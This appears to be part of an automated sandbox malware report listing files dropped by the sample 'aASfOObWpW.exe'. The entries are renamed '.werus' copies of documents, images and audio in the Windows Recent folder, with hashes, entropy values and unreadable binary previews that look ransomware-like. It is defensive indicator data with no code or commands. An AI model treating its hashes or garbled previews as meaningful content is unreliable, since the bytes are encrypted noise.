Preview:	!..w...`..b'E&L{.............q.O.a..v..4..9].... C.s.5qh.....3..'..!`.%..V=j...?U..{x..E......^.m^).r.t.....Uo.9...d.9..}...{.}Q.........6.h+....yX..V\..J.3X'....=....h...#;.+...{A....4?..K...h.Bz]v.j..%......W..K.r.o....u\|.1?.D......r..\|o7OG...E......rT...D+s....ek.{h.9p.4.IP.....u~..R.=.[....H.0...=..+cz..h.^5Q>v.q.C..).Z.'z...cM...x.nB.:9..Bp.<.....p..R=q.`.t.)...0..[z4.....X..;...}N.Uj..2.3....p+....$9m}......^YD.E...a.....p.n.[.......L......H.~. rl\|.>..K.`..~...\|.....N...>.o...m..0(...\|.7....qM.i._....t.q..LGZ^Q}q.=U...K.r.`sf.....)$.m...........+>.>?t.lJ.;..L.Z....uA.{)i..c..sh.=G... ..r..F..>...\|.o4..A..=v ..&......>..W=6y..i.....X.........M......,...r..B..:.Ts.v`.nq.......QZ..AOB.)...ix.D.Z..J..>.W..u...ijP.P..?.....=B..n.u.z.{c....v.Y.O...#f(...)f..}K...$...y...Z^....g.Gmx;R.....0..\.0.f.*.<.B.L..H....;.T..@.....f.&.E..z....,kR.9.]M..I.M..7.T2.Z...6Jt..J(b...4!..W.:+.g..z`E.<.h.....b.TC....J.T.........0.f...s..x....p....M....B.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NYMMPCEIMA.png.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.8277762038193615
Encrypted:	false
SSDEEP:	24:YM8+bOIK1GGnm+XDv/5wMrPcX2g9UnMnZUcLhgsBZi:YM8gEVpXD5FgXYoZ5Ngn
MD5:	031933300F50E20BCD60588843998EE3
SHA1:	7A723B0021B50978ABA3187E5B620C212BFFB093
SHA-256:	D76FA1FE651504A5E45FECB28B6172DEB6811C74E88594E008861C0350801963
SHA-512:	7961A2D2397853422E68DD707746146A76641A8D2AB802555A614126D16AD304227DD46D889EEEF8D218523A54A4E7750326F233119AC3185C8049AA8903F78C
Malicious:	false
Preview:	..B..f..>>2.....tX...........t.Xc..@...E..W.#..".72s.b..7.m...j.:....b..{..~}[{...z....U.c..%1.Zp\|.F33..h?...Wq6..3....#"..tM.#u.29].T.JS..s...U.V......K.'..J..(...[..4:3.n@.d....v......5...,..d....nA/...K.:...(.r.LF.....#.#31j!x0.....M2s...$.J..;.............>.uO.0q@r?....0.4w`..\...g....2.9.A...G......4....A..a..^..IY.w..yEs4...d,.j....T.-.>R7.i.,.V...#..!...7.7..k.p...\|D`\.@mR.1...........+]..5.UW..tQ..p....s...0.D ).=..Q.=.".....;..Q.....dd.%.#G?r.;.Ar/...p9..V....[.7...p..z..a;.....t^...'....U......h.n...luj.&Ye......".$.....E..\&V.".hU#.g...`l\...._n~A{.(rLD.H.z.UR.X....1...=............1N.... ...!N.k.wy.F.K......pM..- ...V...or..Cm..N.w&..g..... Y...v.t......Z.{Y...Pv@.uG..k.x.F.t.%4.i{..?...A.....V;..o.,.;...!U.....6.c.j.g...y~...........Q...U;\|^54..'D...Y} ...Xt...vV.+.iIi.1.>"............R.-.....~Fp..AR......?..x.i..\....B;....%a.c...w..^o.C.G."y... ...f.&.....u..DS.Z...7Uj.:....i. :...G....sG^(L&.._.,B...<@'...9e..<2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\PALRGUCVEH.png.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.822367968188942
Encrypted:	false
SSDEEP:	24:cXHsYFAVaZuD/hPz7RCXXBHXwkP2TZgE5GYK55Y7bhWz9Own:ivuVaO/hP/EXXBgkSKMhWz9Ow
MD5:	E1306CF4E5DA8EF37EE8EF2AF33E1FA2
SHA1:	964E5A453C69D403E282DE3FCB457AEC4ED885BA
SHA-256:	944404FD1C6F16BB2CFCD92EB181E9CBA3086DFC6535BABFE54062CC4838FB8C
SHA-512:	75BF74DA96D8B44F06DD2F0FF6D09956F40220AC718702E93CFEDF6449D72A14C349CE9998AD74DFB93A205E2E8F85B4258E74B7F79DB63DA3D54367AB16250E
Malicious:	false
Preview:	P@...\h.......f].v... ..P..M..t...b..>3$.........[9Mj+..PC..6....';...EDf0"....O...1...Ph.o..a.....r.N...,..{.T...7j....mU.l.....!l.....X...9....OJ.<}..E.9...[I..o...l....a.5..f@.W..xA.....#...<...'A[..B^.. 3.R,.......K4 `.P...w.../.....P..nAt..W.Adnw......i..I..e.C.....V8..v<:...0......."B.P1z..%.K.....d7.......q.~.m.-N..r..NO...Z5.hF.,O\.#.a.......0vc...n-....o..>(-..."./8......o@PF.W.fAI..i.^....\|#DG.c.u....s%.p.XMY.$p......[=...&.Q(3.o......S$W....#.,..G.g.....P....J.G...FO.E%{..?>.R....`...'C...h.T.....+.c."..A{._...x.KYy..5\..7F.DE...\|...-J....Vz.QWo"5.h~\.K.t....J..Y..P.i.g.x$...G..p.."....xb...>we....OU....CM...........ulm..Ak.......1-.!._..o.Pb.....+<..G..:'....n.(%.......o....:E.u...`...<i30\(.yq.#..y....0b.w.k/..^.Nq...<.3.o.I. ....&...Kf..C.Z^.[c+.ip..-+i3..........^cH..........x.(.........C4K.7CI4............r....5(....KE.9};.I.ni..l....z.f....y...h..BI=:Y..&...nQ.(...i....yX@.-.6F......S..5M...ln...M.j..."{x.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\PALRGUCVEH.xlsx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.822367968188942
Encrypted:	false
SSDEEP:	24:cXHsYFAVaZuD/hPz7RCXXBHXwkP2TZgE5GYK55Y7bhWz9Own:ivuVaO/hP/EXXBgkSKMhWz9Ow
MD5:	E1306CF4E5DA8EF37EE8EF2AF33E1FA2
SHA1:	964E5A453C69D403E282DE3FCB457AEC4ED885BA
SHA-256:	944404FD1C6F16BB2CFCD92EB181E9CBA3086DFC6535BABFE54062CC4838FB8C
SHA-512:	75BF74DA96D8B44F06DD2F0FF6D09956F40220AC718702E93CFEDF6449D72A14C349CE9998AD74DFB93A205E2E8F85B4258E74B7F79DB63DA3D54367AB16250E
Malicious:	false
Preview:	P@...\h.......f].v... ..P..M..t...b..>3$.........[9Mj+..PC..6....';...EDf0"....O...1...Ph.o..a.....r.N...,..{.T...7j....mU.l.....!l.....X...9....OJ.<}..E.9...[I..o...l....a.5..f@.W..xA.....#...<...'A[..B^.. 3.R,.......K4 `.P...w.../.....P..nAt..W.Adnw......i..I..e.C.....V8..v<:...0......."B.P1z..%.K.....d7.......q.~.m.-N..r..NO...Z5.hF.,O\.#.a.......0vc...n-....o..>(-..."./8......o@PF.W.fAI..i.^....\|#DG.c.u....s%.p.XMY.$p......[=...&.Q(3.o......S$W....#.,..G.g.....P....J.G...FO.E%{..?>.R....`...'C...h.T.....+.c."..A{._...x.KYy..5\..7F.DE...\|...-J....Vz.QWo"5.h~\.K.t....J..Y..P.i.g.x$...G..p.."....xb...>we....OU....CM...........ulm..Ak.......1-.!._..o.Pb.....+<..G..:'....n.(%.......o....:E.u...`...<i30\(.yq.#..y....0b.w.k/..^.Nq...<.3.o.I. ....&...Kf..C.Z^.[c+.ip..-+i3..........^cH..........x.(.........C4K.7CI4............r....5(....KE.9};.I.ni..l....z.f....y...h..BI=:Y..&...nQ.(...i....yX@.-.6F......S..5M...ln...M.j..."{x.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\QFAPOWPAFG.docx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.808243530085739
Encrypted:	false
SSDEEP:	24:uXsOdeuyMj5Mpbj8raqc8Kp3ac48tig29/voQTqgL+ESjSQ5:GsOdeWXQMcKdNoN6y
MD5:	C6255A6A379607F71A49612588206E1D
SHA1:	3453428C9A65DFD0D19F576CAD2D2855235F2A92
SHA-256:	BE01351710567C48F780AFCBBDC2F327936886400A9A40DAA1C515EC93F043F0
SHA-512:	11AB509EB53605E1FF36419CDFCAD67244B8D5BC90CF3C8BFC4B895313CA0D12F06110DF1183529E5636038A05265E30C5428D5A9BE0B92BEDCE21B22D10AE56
Malicious:	false
Preview:	}7H.VJj."..q...CPm!...X.......}.Q...w.~K1...`M....e.S.d..#.'...F..\..".X(.7R$.LV.^j)F).....z...}.%.c.}...\|u....($uf.......jME.\.+a..oO...k.K..I.. ......)...^.........U^..!h...sa..\|He...YP.s..k..s..c-#.H!^-..f.o...4.z......o.....Y.n.%.6s.$.Mk..<.:i...%..`..j.{...."....0...w..V.%&..P..`.~....j.\|...J.....O8\2K.....g.M.,.g...0.^(.L.-x...qr..%.e...-t^.?.>@.l..]....^.e.....:...huG..R.....#....U,...........VZE[.]......g.._..........4.. .....G}j=.&Ud.6PaI......St.q.$.h..'..n...g.tJx.H......?p.PH...\|.h1m.v.O.....k.n.B.\P^x.!i...!........... ...f.:..=..$.Z......}h.]-'.e.F0.D.o....G12xO...B+X.E.^.ZY....!@...~..].KG./..y-..(r.y......50.;.t.Z....Fy......H..'..6K.~U..8[`r..D..^9q.).U.R...y..j"..O.6.....q.k.\..!...J&..'......g..#...PZ.b.!.nu=..(;..8...&2L.8A...5.....4...j.7).1.]zm..C.K......Z...\Y..nP:.e.....'.[t6p..".>+.........."$...;.E\..QP..a.........b.Y..q.AiE^.4..t..Z...h.xZd)..z..s.N.4(..%..kS.>.S.....n.v.Pf....g..7O..]...[YO.......Te.Q@..s......<...I.`+

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\SBVUSFKOGN.mp3.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.770607546980042
Encrypted:	false
SSDEEP:	24:mcAru4ZqjlZoOiTVyYmWfxzjJotRpBTvoFbuz6+G5cAR:mcCqjnb4dh5zVo1lpmN5cAR
MD5:	1A5AA21F6871C5EB60D3BF6E392DA29A
SHA1:	0ED24AEEFDF3D8FA7A48A01C756C53BDDD1797CF
SHA-256:	CA16835056123532DE582792F86F31B765EEEA7F4BCAEBF4E62F82C8B302924E
SHA-512:	989A71F9EB3B8A5563BD0E2D64B54FD3C21D72705D26111DE55A1C569D784BEDE77EB79B8D4BA6E9AE5F7BA2BA9692091F9469DCAC63F5B6AA3BDC36D0DBF910
Malicious:	false
Preview:	..m.>..3..qi..@.+0.Z.V{_..p....K.!..:........V.`...`..\|..=..QiY......$.e.K.......S'.]3.&......DX...h..l~..Y?.Fc.f0d..P..F....R.I.Z-..y....].X........`.9$...S.0.......t.^..B.... .....3......8<p...O.z...!...z..E.\|h...".I..pc..FP...-rM&.E......Yks.r@...8...=.......,....Y;_V..#.[$V%_..j...,V..........D.\\|...o....is`...}.u.m.u.g......Y.}N....k. ,o4..`...&.....k.i..!.K..OPJ.m.L..W].^.S..>.2?.\.BT......../..&.!==3.......)$..u,.L...j.U.pGK%..Y^+`$..ot/L.k..i......K(...R8.-C.`v..^...DY.....v.}.\|..'..l...P.'(NzE..t.fZ.4..r.g...B...7.uaZ.i.m.8{..8.t..w...L2...Q.:.O....i...F...[..m..BV\.3..'....U...O......... dtY..2...aFx.r..j.oY.e.v....L....@c.V.......U....AM..1.y....Y2h...y.Z...J.....m\.{......e..(...e..t...Y.-.6.L...n..g..)...-..7.2..@....+..'.M..}....b..aS......V..wa..Y...(M\|./.e..1.W..\G..\^z..S.d..W...c.3.,au...K.e.........}.,8Ru./...'$@J_...F.Ec...)u._....3oQs.vB[..g....w.<......5..-m.^F.....T"..V....T...%.x...b~V.r.....W.....o.J.oST....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\TQDFJHPUIU.jpg.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.794728995711684
Encrypted:	false
SSDEEP:	24:6NdDp2a/nsxSB1dHS/ZnncqJ3QDR1/ukfh0fr9A:6XDp26nsIdy/ZnMb/z50fq
MD5:	DD6BD2F31E9C72DB0F81E40AF4EF23F3
SHA1:	F23025881B45D703A1B8A20F906F1DC8839A426E
SHA-256:	D31682DEA2585B97BEB3C8DC8290FC5E00D42596EDFA60F696204B8C88C62C90
SHA-512:	5F5180C5CAA08C9E2441F45BE3F4D0D8155FF2F2BFC8A2AB9B48578480A3C2B3A750091C19839F7D78799355C88042878FD36CDDD715199132FA08023F63F0F1
Malicious:	false
Preview:	...j.\..U.&.8RcU...XuQ..k.:....{."f(.;.x...8.".A.1%8......m..l.P:.S:2...2c@..,,.<..RL..u{.....Fr....;X^X.e.S.i.[+.../.&.Tq.~jxC,..............PJ..#(A.,bT........5.Q....1..1..Z......!.<!....3N. ef.v...q<....B$[...p.......F~..&.@..H.......3.T7.w..\.....<8..;.U..6.q.f..h.f...\A..$..:...6jJ.Z...R.....!...t....<...r.G@..^C..z...%.\.9L2.fW..n..,J...Q..1+b.....y..........$..j.....Nx.q.E.<K...!..J.D.y.o-..bj.F.....3.j.}.d.......%+..G$..yu.R...1..,.>.>1..y....3..y..3.......V.q........fM[?<.(..0L.}.t..;}..D8.C.4...+..>...1.w.X]P(.....HU...&.\....;...?...T...f.<;....@.4.).".....wJ.^.....9.#y`.J%.xD.L.J..{.....d)...;T..\U..I.G......7...h...:)..2............w..K.w.....xv4 .!...<g..Q.Al......~.\|wf.h1.s.S..-/.[.m(.4uLc<.M.9.GW./.........R.*n&h......;+..[.z......0....A8....&.f....]I...(L.c..`....369.(O.....h@.g.[.q....^.{....N...^+n.$...l.k.\|.l..\t....k.L....7.#.6Gt.(...!.^\[........L).4.6...YT.N.{..:...E~......7.......<f2/..?.2..T........g.po....8..M...l

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\TQDFJHPUIU.mp3.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.794728995711684
Encrypted:	false
SSDEEP:	24:6NdDp2a/nsxSB1dHS/ZnncqJ3QDR1/ukfh0fr9A:6XDp26nsIdy/ZnMb/z50fq
MD5:	DD6BD2F31E9C72DB0F81E40AF4EF23F3
SHA1:	F23025881B45D703A1B8A20F906F1DC8839A426E
SHA-256:	D31682DEA2585B97BEB3C8DC8290FC5E00D42596EDFA60F696204B8C88C62C90
SHA-512:	5F5180C5CAA08C9E2441F45BE3F4D0D8155FF2F2BFC8A2AB9B48578480A3C2B3A750091C19839F7D78799355C88042878FD36CDDD715199132FA08023F63F0F1
Malicious:	false
Preview:	...j.\..U.&.8RcU...XuQ..k.:....{."f(.;.x...8.".A.1%8......m..l.P:.S:2...2c@..,,.<..RL..u{.....Fr....;X^X.e.S.i.[+.../.&.Tq.~jxC,..............PJ..#(A.,bT........5.Q....1..1..Z......!.<!....3N. ef.v...q<....B$[...p.......F~..&.@..H.......3.T7.w..\.....<8..;.U..6.q.f..h.f...\A..$..:...6jJ.Z...R.....!...t....<...r.G@..^C..z...%.\.9L2.fW..n..,J...Q..1+b.....y..........$..j.....Nx.q.E.<K...!..J.D.y.o-..bj.F.....3.j.}.d.......%+..G$..yu.R...1..,.>.>1..y....3..y..3.......V.q........fM[?<.(..0L.}.t..;}..D8.C.4...+..>...1.w.X]P(.....HU...&.\....;...?...T...f.<;....@.4.).".....wJ.^.....9.#y`.J%.xD.L.J..{.....d)...;T..\U..I.G......7...h...:)..2............w..K.w.....xv4 .!...<g..Q.Al......~.\|wf.h1.s.S..-/.[.m(.4uLc<.M.9.GW./.........R.*n&h......;+..[.z......0....A8....&.f....]I...(L.c..`....369.(O.....h@.g.[.q....^.{....N...^+n.$...l.k.\|.l..\t....k.L....7.#.6Gt.(...!.^\[........L).4.6...YT.N.{..:...E~......7.......<f2/..?.2..T........g.po....8..M...l

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\UCKFKZQOSO.mp3.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.837380462062515
Encrypted:	false
SSDEEP:	24:pNNOtlxY4e3kd3SO8AON1B5uUyatUUyda5CbRTcY+9wu5:BulxY4e0d3rOx/VawUbVcY+9D5
MD5:	66FAD4BAB1FAC117C9F17E76E1533CE8
SHA1:	8BCFDF1FFD61DB2498B8AE0604EE67A57E37116D
SHA-256:	9E99BC1FA3B6BE939A127D3838E1BE0FF32AC994ABFA4B6EEF14D403E1E86DBE
SHA-512:	CBD5BD67735128A60C8E0B9D19569FA94CD316CE51C5B7CBF828604203ACBFE159D864296AF88F7AA0F941BF82D5410E5B4265D6270A56451D77DC746C00C5A0
Malicious:	false
Preview:	...x......w..q^..,-A.....o..-&.....Yo.l.u.T.\U.m.Z..ma..t......)..Ey.Mh..b...O.....U..".....Q...5e.Zb...J..{.K.`u......I.k..HM.......nu...!.R.u....0..gg....7............yt.o..h...Q(.I.15.,.7..O...#...HZ..A.{ >bxJ.\|..~.v.g.iJ......3.K...j......S..`%.EZ....._...`..$...7.n.>q..=xF.\|..F0...~.._....pR.!d..V..]...s...)\|..O..#.Y..X.=y....._..M\|.jx.%a..j...;.".E..w....K.~..@u..E{..~8.A....X....)....9..b....{....cA.. I..H.x..-B}.%.HR...s.a.......X:yM.Y...:..o>g..s.3.....?H.U{[P.5..z.V..."d...cF.kR.C<=6...<nAT.n...pQ..7pu..M.H.y....^..N.......m...I..t.G...Lw..m....c.O.5....)....$./..4DD.....<#.R=....1.....<a{!3.)/.]..q7.....$..#k"k...Kr...u.<:8...}.w1.....GB.z.,.^...H.QS.5..JhmMf"..;k......C.D..._..Mo.tP.......hA....*...}..............I.....[..@yM.1.]....e....=..N...r..........2......r.[.^N):`..`...3I......a.^EW..9....e.........G(.....h.aQ....'z.h}y.......v..3^.A....h.y..A..h.......?V.3.m#.s..7..)5..o...N..F.m.{9gJ../m.?..Xmz.'ah..=...~..E.V

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\UCKFKZQOSO.pdf.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.837380462062515
Encrypted:	false
SSDEEP:	24:pNNOtlxY4e3kd3SO8AON1B5uUyatUUyda5CbRTcY+9wu5:BulxY4e0d3rOx/VawUbVcY+9D5
MD5:	66FAD4BAB1FAC117C9F17E76E1533CE8
SHA1:	8BCFDF1FFD61DB2498B8AE0604EE67A57E37116D
SHA-256:	9E99BC1FA3B6BE939A127D3838E1BE0FF32AC994ABFA4B6EEF14D403E1E86DBE
SHA-512:	CBD5BD67735128A60C8E0B9D19569FA94CD316CE51C5B7CBF828604203ACBFE159D864296AF88F7AA0F941BF82D5410E5B4265D6270A56451D77DC746C00C5A0
Malicious:	false
Preview:	...x......w..q^..,-A.....o..-&.....Yo.l.u.T.\U.m.Z..ma..t......)..Ey.Mh..b...O.....U..".....Q...5e.Zb...J..{.K.`u......I.k..HM.......nu...!.R.u....0..gg....7............yt.o..h...Q(.I.15.,.7..O...#...HZ..A.{ >bxJ.\|..~.v.g.iJ......3.K...j......S..`%.EZ....._...`..$...7.n.>q..=xF.\|..F0...~.._....pR.!d..V..]...s...)\|..O..#.Y..X.=y....._..M\|.jx.%a..j...;.".E..w....K.~..@u..E{..~8.A....X....)....9..b....{....cA.. I..H.x..-B}.%.HR...s.a.......X:yM.Y...:..o>g..s.3.....?H.U{[P.5..z.V..."d...cF.kR.C<=6...<nAT.n...pQ..7pu..M.H.y....^..N.......m...I..t.G...Lw..m....c.O.5....)....$./..4DD.....<#.R=....1.....<a{!3.)/.]..q7.....$..#k"k...Kr...u.<:8...}.w1.....GB.z.,.^...H.QS.5..JhmMf"..;k......C.D..._..Mo.tP.......hA....*...}..............I.....[..@yM.1.]....e....=..N...r..........2......r.[.^N):`..`...3I......a.^EW..9....e.........G(.....h.aQ....'z.h}y.......v..3^.A....h.y..A..h.......?V.3.m#.s..7..)5..o...N..F.m.{9gJ../m.?..Xmz.'ah..=...~..E.V

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\UCKFKZQOSO.xlsx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.837380462062515
Encrypted:	false
SSDEEP:	24:pNNOtlxY4e3kd3SO8AON1B5uUyatUUyda5CbRTcY+9wu5:BulxY4e0d3rOx/VawUbVcY+9D5
MD5:	66FAD4BAB1FAC117C9F17E76E1533CE8
SHA1:	8BCFDF1FFD61DB2498B8AE0604EE67A57E37116D
SHA-256:	9E99BC1FA3B6BE939A127D3838E1BE0FF32AC994ABFA4B6EEF14D403E1E86DBE
SHA-512:	CBD5BD67735128A60C8E0B9D19569FA94CD316CE51C5B7CBF828604203ACBFE159D864296AF88F7AA0F941BF82D5410E5B4265D6270A56451D77DC746C00C5A0
Malicious:	false
Preview:	...x......w..q^..,-A.....o..-&.....Yo.l.u.T.\U.m.Z..ma..t......)..Ey.Mh..b...O.....U..".....Q...5e.Zb...J..{.K.`u......I.k..HM.......nu...!.R.u....0..gg....7............yt.o..h...Q(.I.15.,.7..O...#...HZ..A.{ >bxJ.\|..~.v.g.iJ......3.K...j......S..`%.EZ....._...`..$...7.n.>q..=xF.\|..F0...~.._....pR.!d..V..]...s...)\|..O..#.Y..X.=y....._..M\|.jx.%a..j...;.".E..w....K.~..@u..E{..~8.A....X....)....9..b....{....cA.. I..H.x..-B}.%.HR...s.a.......X:yM.Y...:..o>g..s.3.....?H.U{[P.5..z.V..."d...cF.kR.C<=6...<nAT.n...pQ..7pu..M.H.y....^..N.......m...I..t.G...Lw..m....c.O.5....)....$./..4DD.....<#.R=....1.....<a{!3.)/.]..q7.....$..#k"k...Kr...u.<:8...}.w1.....GB.z.,.^...H.QS.5..JhmMf"..;k......C.D..._..Mo.tP.......hA....*...}..............I.....[..@yM.1.]....e....=..N...r..........2......r.[.^N):`..`...3I......a.^EW..9....e.........G(.....h.aQ....'z.h}y.......v..3^.A....h.y..A..h.......?V.3.m#.s..7..)5..o...N..F.m.{9gJ../m.?..Xmz.'ah..=...~..E.V

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\WSHEJMDVQC.pdf.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.812501213989488
Encrypted:	false
SSDEEP:	24:ekp6AWbakuKCcmQlRkxmNxz9ssEKAqBSqky5t477J:Np6A+lPLkQxz9JEKu85t4vJ
MD5:	59B948A73AA6BBD5DB43C1F730CCBDE1
SHA1:	AD14230899802BC33D002A0A291F6A1A0DE62D72
SHA-256:	6F25B9F4BB48958AA958D11E8051E76D7E3E4518ABC13AB3F1FCF7DB008B4F56
SHA-512:	918980D08B441DD76F3E5B185D79EF8BACE671468DC10C5B3E9F2B1488B7E0BA74BF75390B3CAECC06D13A97D08C3983821019A5EE99A269954155247ADA0A0C
Malicious:	false
Preview:	.JaIU.P.....p..h......x..n.,Z...>..........!i.._Q/m'...po/...Hj..x.H...e:......E.{w.Rb.s...[..hY.7`./..= ..z#....'...1...I.....[.c$.E...45']#.v..Gw).A'U.TFL.....I.X..b......a.., n1..x.......i....Bh.W.._.<.'.(.h..n[.,.?..r9j.+f.....s@..1....;`WHStBH..]P...7.uT.o.d....4.W...?@....k.T pX]..V..$}.'..e+.W....z.../.^>+]..u.....#....Y.S.$.!y. ....c,..t{`%......T"m...&..O^...}.....3.Z...HD.... ..6#,..XV4.]Oh..R[+.KHG...wS..%/.....b..)^.Om..h5....R!S.Ux\|l....P.BK.}..C.<.5.C.P.,..\.z.U..um/.j\.1.o.2....U../l&...N...r'I....z7.2.a.....6.b..".. S.Y1pSe..N.F...R...).....4..l.2C......{./.O.B..]..@)y.Pc@.[M.G.r....d>...I...-...#....,CS..`Z.(.k'.>..e.xhF..Y.[.K>.....u'..U.t.`.t2...Q.I...y:...&...x.>c.d."GB.\.%P.1..v.........d.....%..^,.B.Z.n..._&.............Q....tF....zq......&.......P.7L.q.....i....?.....[..;u.WD=.0.`.....P..*ES..[./!...-T7.@....sb.QQ.l......ro@......[.."B4..&91...T.....5...K".M..-.3.m.d.o.\|...T1.7...w.\|.3..g.y..F...p..Me..V.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\YYTXSGEDYK.png.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.827252463854197
Encrypted:	false
SSDEEP:	24:DoAgFW0rMzRGojQZt8ho+Il+fN1EmjAZv9xF:DoASWlzRfj2tAGET7jOt
MD5:	7ABB59C47BE528E8BF383ED7AEE2C86C
SHA1:	73454BC2EAE4A2C3F77FA82CAAB89275FF31D367
SHA-256:	BEC7F4100123C83FB7D8D0FFC78E5FDD1465116A590C37C96DA16D125F31E1FF
SHA-512:	94D28B0B0EC55E9549DC24528879F30D569E72D1BE27EBD034D3D7C595C8475C64EFC045453A4DFD7E6078AD8C04EEC285D35AF375D4449BBEE07C6DA1CF43E7
Malicious:	false
Preview:	.g.1~E.L..<s..o.)..lh%w.Er..Hz..e...-..N..W.'#...<].B.qzhL....M_....=...=.....s.>....H....S.4..8^{. ...(...N.....j...g.PU2.h.4...9......{O...z>.4....{..gN.}.....Se{......>.y(.gjW.W.n..?._...+pLX.{...LA.D."}r4......e.Uya....wx.t.}p;g...#...#....Nm....O}.".. .M.-.I.\Q.....B..r`..c.Y..%v..-b.n. Ui.......T.A..s.3Y....y......,......0.J,.....Ky..VGfV.0..x..{..g..X..&N."zR.wT...x.:..b.......5.u2,.......K.Ci.../..}o^~.....0...p.........\|....#..)."...~..F...)2(.Cu....-..c..@.Dt...D..\|.D8.{v.{x.).x.u.8N..Z...M;...g%...?./..l9.6.....d........[.....[..i.f..Wz...R."}_z.....{9R.e...}.R.......+.an.<.....#..._..'J....=..p...vz}.].../.?..q.P...&L`...ZEH.W..TB'....k...\|.5..^y...P..Z...Ob{-.d-.$W....Z1m.G<6.I...-..M.A.=f...3.k_8.....Ap..E...`m.F...W).F,).* .\..9q.".t.4.m..F.....j{..'....".3R;....*.f..fw..A.........l.m...o.........m....AR..f.nz.\|...v....vg.....U`....... .......I.5..J.......K.#......h~S...W.T.[ .>.i...!5....RZ..QEK..6.,.^..Mr.#.]

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ZYXFLCGPAD.jpg.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.828615957941242
Encrypted:	false
SSDEEP:	24:B9mYDbugUQI3aqZhKkLA2WQbecGuxKSGTnIKV:T2tQKaqycAPcGuG9V
MD5:	B184FBA8C487C1A8FB61D5A29ECD8806
SHA1:	9EBAC374B90BF9A68646D7CC5F2174AAEC5DD7AB
SHA-256:	FB2782728CF2DABE57F33105C57D57B9FB474383A8E1497F9D1AF00A509D87DF
SHA-512:	A51F5896BC23C46BAC75BB9266316DDBDD40251FB450489A68CAA084B201077E81FFB5BAB593D1DFC57F83D3423816C99EAE2EC7A74EB06172C085AD5BD9723C
Malicious:	false
Preview:	".......d....<.<>q?Y:..N.iq..Y.E..i..O.o.+.&E.....EQ......tr..#..,.hC.+.=gC...m=fm.....Raa.u.J.....6......?].W.....Z,9....e...N.~.......'.....H(..#(.K.. ..4.J[Sg. .....~'..da.n.H/.V..S.4..\.u@..X...H.....EVa.6.p.6rc~i.:)-..,.9I.6V>[..X......d.g......Sj_.aI.....L..I...N+.%....t_..6H..O..Xr2lO.(...P..Y!.>..$...,6..]^-.AcE.....@........$....r....2.....g..0<....../..._.-.o..qm....?.s......v.T\|...U2..DJ].U.i..1...!]7....c/D..)..._..y.y.O.e..9....R_.f{l.a.F......I\.lL..e...%.~Z....'....q..3....Bv.l....pFoK......Z........F...Ji7..7.i..g.4A.\|.../~..Mc..d.+_..Q............j.....9!...xA..u..u...."oJlO....O7.ge>.....bF.,.t...t........`..h..]..;..$+......E@i.....`..[.tq4q.;.4.,2..`...M...(.7 Tn5..T.5q....ZN!.........A3.QG.I.;........k}.%.i...%E.t.8.M...FS".......2.0.y.......@..%!..y.h......E...ue....&..GY..Ur.9.H.Ox..@Q..;1V.E...3.j.1..^..;Y..@..G.R..q=53.Jw...[c..1......5..*..r<&[.....ec'.UR.f....x..."[6.)me.g/J.i....)[.w.H..v..N."..FHS.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ZYXFLCGPAD.mp3.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.828615957941242
Encrypted:	false
SSDEEP:	24:B9mYDbugUQI3aqZhKkLA2WQbecGuxKSGTnIKV:T2tQKaqycAPcGuG9V
MD5:	B184FBA8C487C1A8FB61D5A29ECD8806
SHA1:	9EBAC374B90BF9A68646D7CC5F2174AAEC5DD7AB
SHA-256:	FB2782728CF2DABE57F33105C57D57B9FB474383A8E1497F9D1AF00A509D87DF
SHA-512:	A51F5896BC23C46BAC75BB9266316DDBDD40251FB450489A68CAA084B201077E81FFB5BAB593D1DFC57F83D3423816C99EAE2EC7A74EB06172C085AD5BD9723C
Malicious:	false
